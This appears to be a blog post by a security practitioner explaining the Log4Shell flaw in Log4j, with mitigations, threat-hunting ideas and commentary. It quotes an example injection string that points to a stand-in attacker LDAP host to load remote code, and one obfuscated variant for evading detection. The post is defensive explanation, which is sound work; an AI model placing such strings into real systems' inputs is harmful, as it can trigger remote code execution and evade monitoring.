Thoughts on Log4Shell

Details on the vulnerability itself:

Log4j Is ubiquitous in just about any Java app. Jira, ElasticSearch, Minecraft, tons of cloud infrastructure.

The vulnerability is triggered when an attacker sends a malicious string to the java server. This initial vector could be any protocol but will usually include the string jndi:, often ${jndi:ldap://attacker.com:1389/a . NOTE: there are many ways to evade this and so it's hard to detect reliably across all the variants and protocols. e.g. ${jn${lower:d}${env:FOOBAR:-i}:ldap:
The Log4j package realizes that it should log that string and  helpfully formats that special string. Unfortunately, the formatting stack has built-in ways to invoke remote connections and ultimately download .class compiled java code to execute. This is the fundamental bug. (I left out some gory details for simplicity.)

Mitigations:

Log4J 2.15 patches this to disable the remote lookups. log4j2.formatMsgNoLookups
If you have earlier versions of Log4J 2, you can disable the lookups by restarting Java with the above set to true.  Command line snippet: `-Dlog4j2.formatMsgNoLookups=true`
if you are using log4j version 1.x, you are in theory not vulnerable but 1.x is deprecated and you should upgrade (maybe later though  ).
If you have a later version of Java (essentially 8+), you might not be vulnerable to the above. Later versions of Java have some protections around remote code execution. In these later versions, however, it is possible that the remote connection still goes out which would of course notify the world that you are still partially vulnerable. You should still patch as soon as patches are available.

Detecting & Threat Hunting:

The easiest way to check for attack attempts is to look for jndi: in your logs (or If you are an ExtraHop user, your Records (essentially log lines generated by network traffic)).
This, however, will probably not detect all attack attempts; likely only the ones for well-understood and well-logged protocols. (ain't gonna catch someone exploiting your precious MineCraft server)
And it won't catch some of the weird variants shown in the first section.
ExtraHop is working on a detector to detect these variants in incoming traffic.Another strategy is to look for outbound LDAP connections coming from the java servers under attack. Most attackers are not using the default port 389 for the LDAP connections so you have to find those LDAP connections if you can. ExtraHop is working on a way to find these connections easily.Another strategy is to detect the download of malicious .class files. ExtraHop has a detector that looks for first time downloads of binary files such as .class or .jar.A final strategy is to use any of the many TI feeds that are being compiled from upstream honeypot vendors to block commonly used attacker IP addresses. I would note that many attackers are using Tor to conduct their attacks. Merely blocking inbound Tor might help a little bit.

Final Thoughts:

This is still pretty fluid and I'm not 100% convinced that all the attack vectors are known. Probably they are, but there still could easily be corner cases.

I'm also not 100% convinced that log4j is the only offender here. Likely there are some lesser known java packages that have much the same behavior. You can bet the bad guys are investigating this right now.Your first priority is updating your Java infrastructure apps. Get the latest version of Log4j and  the latest version of Java that you can for the protections that java can enable.
Your best strategy is to use the detection techniques I mentioned above and keep a vigilant eye on your network, inbound and especially outbound connections.One of my really big worries is the amount of CI/CD and developer code that runs in Java (Jenkins, etc.) I worry greatly that outside attackers start setting up malware websites that use jndi: strings in an attempt to get backend servers to communicate to them (imagine the harm you could cause if you could get arbitrary jndi: content on npmjs.com or similar ).

Final Final Editorial Thoughts

I've been around awhile. I had a front-row seat in 2014 for Heartbleed and ShellShock. This vulnerability reminds me a lot of ShellShock. This will have a long tail.
Fundamental properties:

• It's ubiquitous -- Log4j is in nearly every Java app that matters.
• It's hard to detect vulnerable apps -- It's really not easy to tell what version of log4j all your apps are running. Even SBOM (software bill of materials) might not help you because it's quite likely the SBOM just says "ElasticSearch" or similar.
• It's easy to attack -- Bad guys are scanning right now, but I can see other attacks in the future that are much more subtle. (see above)
• It's relatively easy to evade -- I started in on evasion techniques above. A simple regex or yara rule is very hard to write to catch all attack attempts.
• It involves outbound connections -- Most firewalls allow * outbound. This is unlikely to change in the near future.

That's all I have for now, thanks for reading. Stay safe.